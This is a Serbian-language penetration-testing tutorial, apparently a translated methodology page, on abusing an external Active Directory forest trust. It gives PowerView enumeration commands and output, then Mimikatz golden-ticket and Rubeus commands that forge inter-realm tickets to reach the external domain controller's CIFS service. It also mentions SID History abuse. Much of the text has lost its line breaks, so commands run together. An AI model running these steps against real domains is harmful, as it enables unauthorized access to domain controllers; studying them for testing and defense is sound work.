U ovom scenariju eksterni domen vam veruje (ili se oboje međusobno veruju), tako da možete dobiti neku vrstu pristupa.
Enumeracija
Prvo, morate enumerisatipovjerenje:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
U prethodnoj enumeraciji je otkriveno da je korisnik crossuser unutar grupe External Admins koja ima Admin pristup unutar DC-a spoljnog domena.
Početni pristup
Ako niste mogli da pronađete bilo kakav poseban pristup vašeg korisnika u drugom domenu, još uvek možete da se vratite na AD metodologiju i pokušate da privesc od korisnika bez privilegija (stvari poput kerberoasting-a na primer):
Možete koristiti Powerview funkcije da enumeratedrugi domen koristeći -Domain parametar kao u:
Možete takođe zloupotrebiti SID History preko šume poverenja.
Ako je korisnik migriran iz jedne šume u drugu i SID filtriranje nije omogućeno, postaje moguće dodati SID iz druge šume, i ovaj SID će biti dodato u token korisnika prilikom autentifikacije preko poverenja.
Kao podsetnik, možete dobiti ključ za potpisivanje sa
Možete potpisati sa pouzdanom ključem TGT koji se pretvara u korisnika trenutnog domena.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
Potpuni način imitiranja korisnika
# Get a TGT of the user with cross-domain permissionsRubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the userRubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
